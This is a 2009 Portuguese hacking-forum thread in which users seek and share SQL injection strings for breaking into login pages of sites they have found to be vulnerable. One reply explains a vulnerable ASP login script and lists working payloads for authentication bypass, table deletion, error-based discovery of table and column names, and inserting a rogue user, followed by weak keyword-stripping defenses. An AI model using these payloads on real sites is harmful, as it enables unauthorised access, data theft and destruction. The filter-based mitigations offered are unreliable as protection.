Unconfigured Ad Widget

**Money_Talks** · 04-07-2009, 00:36

kara , valeu pelo tuto , mas vc podia explicar melhor as strings para admin e senha?
achei os sites vulneraveis aki..
mas nao entendi oq fazer com as strings de login e senha..
vlw kara

**Alan14** · 04-07-2009, 09:55

Postado Originalmente por Money_Talks Ver Post

kara , valeu pelo tuto , mas vc podia explicar melhor as strings para admin e senha?
achei os sites vulneraveis aki..
mas nao entendi oq fazer com as strings de login e senha..
vlw kara

Bom cara e facil vc escolhe qualquer um dos strings ex:
b' or ' 1='e poem o mesmo nos campos de login e senha vai ficar assim
login:b' or ' 1='
senha:b' or ' 1='

**Money_Talks** · 04-07-2009, 19:23

acho que sou muito azarado , até agora nao consegui nenhum..haha.

**~~Kakashi~~** · 04-07-2009, 21:33

pra min um dos melhores modos

**~~Kakashi~~** · 04-07-2009, 21:43

nenhuma string tá funcionando

**rosiel kiko** · 04-07-2009, 22:28

seria melhor posta mais string ?

**Noobdetect** · 06-07-2009, 19:24

Só passando para não deixar em branco, existe um programa que faz a vereficação injectando todas as strings vereficando se o site é vunerável ou não por estars strings, é um componente no Mozilla Firefox nomeado como SQL Injecti ME.

**Molibdênio** · 06-07-2009, 19:51

Postado Originalmente por Noobdetect Ver Post

Só passando para não deixar em branco, existe um programa que faz a vereficação injectando todas as strings vereficando se o site é vunerável ou não por estars strings, é um componente no Mozilla Firefox nomeado como SQL Injecti ME.

Também tem o SQLIHelper 2.5 que e uma mão na roda

**H4ck3r4lp** · 08-07-2009, 00:04

Naadaaa Deu certoo ;s

**Prime** · 22-07-2009, 03:01

realmente ela axa paginas na internet mais teria de ter mais strings

**Annihilator** · 22-07-2009, 17:51

Nem todos os sites estão vulneráveis a este tipo de ataque, muito pelo contrario, são poucos os sites, mas com paciencia vocês acham um

**c4p3lob8** · 26-07-2009, 13:50

bem paa quem tem duvida como acontece esa vul vou explicar
Geralmente quando o usuário clicar no botão - Enviar - o script login.asp será executado para efetuar a validação dos dados informados. Abaixo temos um script típico para um arquivo de validação de informações:

<%

dim nomeUsuario, senhaUsuario, consulta
dim conn, rS

nomeUsuario = Request.Form("nomeUsuario")
senhaUsuario = Request.Form("senhaUsuario")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

consulta = "select count(*) from usuarios where nomeUsuario='" & nomeUsuario & "' and senhaUsuario='" & senhaUsuario & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; senhaUsuario="

rs.activeConnection = conn
rs.open consulta

if not rs.eof then
response.write "Acesso Concedido"
else
response.write "Acesso Negado"
end if

%>

Vamos analisar o que ocorre quando um usuário tenta se autenticar. Vamos supor que ele é usuário cadastrado com nome CHMOD e senha 123456 (só suposição). Ao informar o nome e a senha e clicar no botão Enviar o script do arquivo login.asp será executado. Vamos ver como ficou a instrução SQL montada neste caso :

select count(*) from usuarios where nomeUsuario='CHMOD' and senhaUsuario='123456'
Neste caso o usuário CHMOD, senha 123456 será autenticado e terá acesso ao sistema. Tubo bem ?
Não , se você usa este tipo de instrução SQL nada esta bem pois o texto final da consulta SQL depende inteiramente do conteúdo das variáveis , e , se o conteúdo destas variáveis não for validado e tratado o texto final concatenado poderá ser um SQL adulterado através de uma injeção SQL.
Quer ver ? Vou começar pegando leve. Vamos supor que um “hacker” decidiu invadir sua página. Uma das primeiras coisas que ele pode fazer é tentar uma injeção SQL , e, vai começar verificando se você esta tratando o apóstrofe (aspa simples: '). Se você não sabe a presença de um caractere de apóstrofe (') no conteúdo de uma variável concatenada no SQL é usada para delimitar strings de texto. Então suponha que ele digite os seguintes dados nos campos nome e senha:
nome = chm'od
senha =

Se você não tratar o apóstrofe vai ocorrer um erro de SQL (incorrect Sintax) ,e , vendo isto o “hacker” vai ficar mais animado...
Agora vou pegar pesado. Suponha então que a seguir ele digite os seguintes dados
nome = ' ; drop table users--
senha =
Este comando irá excluir a tabela users (se ela existir). E se você pensa que é muito difícil o “hacker” adivinhar o nome da sua tabela vou mostrar mais abaixo que ele pode fazer isto de uma maneira simples. Isto é possível pois o caractere ( indica o fim de uma consulta e o começo de outra em T-SQL , e , o caractere (--) no final da linha faz com que o scrpt ASP seja executada sem erro.
Continuando o ataque , ele pode também informar o seguinte :
nome = admin
senha = ' or 1=1--
veja como vai ficar a consulta SQL montada:

select count(*) from usuarios where nomeUsuario='admin' and senhaUsuario='' or 1=1--'
Aqui a consulta irá verificar se o nome do usuário é admin e se senha é vazio ou 1 for igual a 1 ( o que é verdade) ; parabens, se existir um usuário admin ele entrou no seu sistema.
Ele pode também tentar o seguinte :
nome = ' or 1=1--
senha =
a consulta SQL montada será :

select count(*) from usuarios where nomeUsuario='' or 1=1 --' and senhaUsuario=''
e bingo , ele burlou o seu sistema.
O “hacker” pode também tentar o seguinte :
nome = ' OR "='
senha = ' OR "='
e a consulta SQL montada será :

select count(*) from usuarios where nomeUsuario='' OR "=" AND senhaUsuario='' OR "="
a consulta agora esta fazendo a comparação : OR "=" que é sempre verdadeira. parabens ele entrou no seu site.
Para saber o nome das tabelas e campos o “hacker” pode fazer o seguinte :
nome = ' having 1=1--
senha =
isto pode causar o seguinte erro:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'usuarios.codigo' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp , line 28
e bingo , o “hacker” agora sabe que o nome da tabela é usuarios e o nome do campo relacionado no formulário como nome é codigo.
E então , o que você acha que ele vai fazer ? Fazer a mesma coisa para o campo senha e então ele vai saber o nome da tabela e dos campos relacionados ao formulário. Imagine o estrago que ele não será capaz de fazer agora...
Pensa que ele pode ficar somente nisto. Já conhecendo o nome da tabela e das colunas se o “hacker” quiser saber o tipo de dados do campo ele pode fazer o seguinte :
nome = ' UNION SELECT SUM(nomeUsuario) FROM usuarios--
senha =
como o SQL Server vai tentar aplicar a cláusula SUM antes de determinar se o número dos campos nas duas colunas é igual. Ao tentar fazer um SUM em um campo texto o sistema pode emitir a seguinte mensagem de erro:

Microsoft OLE DB Provider for ODBC Drivers error '80040e7'
[Microsoft] [ODBC SQL Server Driver] [SQL Server] The Sum or average aggregate operation cannot take a varchar data type as na argument.
/login.asp , line 109
e parabens de novo , ele agora sabe o tipo de dado do campo nomeUsuario.
Agora sabe o que ele vai fazer ? Vai inserir um usuário com nome senha para se logar , assim :
nome = ' ; INSERT INTO usuarios VALUES('CHMOD,'111111')--
senha =
e bingo , ele vai se logar como “CHMOD” e senha 111111.
Acho que com estes exemplos já deu para você perceber que você tem que cuidar com muito mais cuidado das suas instruções SQL .Tenha certeza de uma coisa : as possibilidades do 'hacker' são muitas.

como evitar ese tipo de ataque
seguir algumas orientações de como você pode evitar um ataque de injeção SQL :
1- Estabeleça uma política de segurança rígida e criteriosa limitando o acesso dos seus usuários. Isto quer dizer que você deve dar somente os poderes necessários aos seus usuários. Não de acesso de escrita a tabelas e dê somente acesso as tabelas que o usuário vai precisar.
2- Faça a validação da entrada de dados no formulário e não permita os caracteres inválidos como : (') , (--) e ( nem de palavras maliciosas como insert , drop , delete, xp_ . Abaixo algumas funções que você pode usar:
- Substituindo o apóstrofe(') pelo duplo apóstrofe ('')

<%
Function ExpurgaApostrofe(texto)
ExpurgaApostrofe = replace( texto , "'" , "''")
End function
%>

Substituindo os caracteres e palavras maliciosas por vazio("").

<%
Function LimpaLixo( input )
dim lixo
dim textoOK
lixo = array ( "select" , "drop" , ";" , "--" , "insert" , "delete" , "xp_")
textoOK = input
for i = 0 to uBound(lixo)
textoOK = replace( textoOK , lixo(i) , "")
next
LimpaLixo = textoOK
end Function
%>

- Rejeitando os dados maliciosos:

<%
Function ValidaDados( input )
lixo = array ( "select" , "insert" , "update" , "delete" , "drop" , "--" , "'")
ValidaDados = true
for i = lBound (lixo) to ubound(llixo)
if ( instr(1 , input , lixo(i) , vbtextcompare ) <> 0 ) then
ValidaDados = False
exit function}
end if
next
end function
%>

- Limite a entrada de texto para o usuário no formulário de entrada de dados. Se o campo nome deve ter somente 10 caracteres restrinja a isto a entrada de dados no formulário. O mesmo vale para a senha.
4- Faça o tratamento adequado de erros não permitindo que mensagens de erros exponham informações sobre a estrutura dos seus dados.
5- Faça um log para auditoria dos erros ocorridos e das operações mais importantes da aplicação.

**JeanM** · 26-07-2009, 17:36

Que isso, da certo sim galera,
O problema e achar o site vulneravel.
Otimo post.

**H4ck3r4lp** · 01-08-2009, 19:52

da certo sim ., quando posteu aquilo estava no começo dos estudos , nao entendia muito bem sql !
vlw aii

Unconfigured Ad Widget

Anúncio

SQL Injection!!

Dica SQL Injection!!

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment